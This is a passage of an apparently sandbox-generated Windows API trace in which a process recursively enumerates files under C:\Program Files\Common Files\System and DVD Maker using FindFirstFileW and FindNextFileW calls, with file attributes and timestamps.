hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.131] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0055.131] GetLastError () returned 0x12 [0055.131] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.131] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.131] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0055.131] GetLastError () returned 0x12 [0055.132] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.132] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0055.132] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0055.132] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.132] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0055.133] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0055.133] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0055.133] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0055.133] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0055.133] GetLastError () returned 0x12 [0055.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*" (normalized: "c:\\program files\\common files\\system\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0055.134] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.134] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0055.134] GetLastError () returned 0x12 [0055.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*" (normalized: "c:\\program files\\common files\\system\\ado\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.275] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.285] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0055.285] GetLastError () returned 0x12 [0055.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.286] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.286] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0055.286] GetLastError () returned 0x12 [0055.286] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.286] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.286] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0055.286] GetLastError () returned 0x12 [0055.287] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.287] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0055.288] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0055.288] GetLastError () returned 0x12 [0055.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\en-us\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.289] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.289] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0055.289] GetLastError () returned 0x12 [0055.289] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.289] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0055.289] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0055.289] GetLastError () returned 0x12 [0055.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*" (normalized: "c:\\program files\\common files\\system\\msadc\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.290] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.290] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0055.290] GetLastError () returned 0x12 [0055.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.292] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.292] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0055.292] GetLastError () returned 0x12 [0055.292] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.293] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.293] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0055.293] GetLastError () returned 0x12 [0055.293] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.293] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0055.295] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0055.295] GetLastError () returned 0x12 [0055.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*" (normalized: "c:\\program files\\common files\\system\\ole db\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.295] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.295] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.296] GetLastError () returned 0x12 [0055.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.296] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.296] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0055.297] GetLastError () returned 0x12 [0055.297] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.297] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.297] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0055.297] GetLastError () returned 0x12 [0055.297] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.297] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0055.299] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0055.299] GetLastError () returned 0x12 [0055.299] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0055.299] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0055.300] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0055.300] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0055.300] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x44, dwReserved1=0x44, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0055.302] GetLastError () returned 0x12 [0055.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*" (normalized: "c:\\program files\\dvd maker\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6b7c690, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b7c690, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0055.302] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: 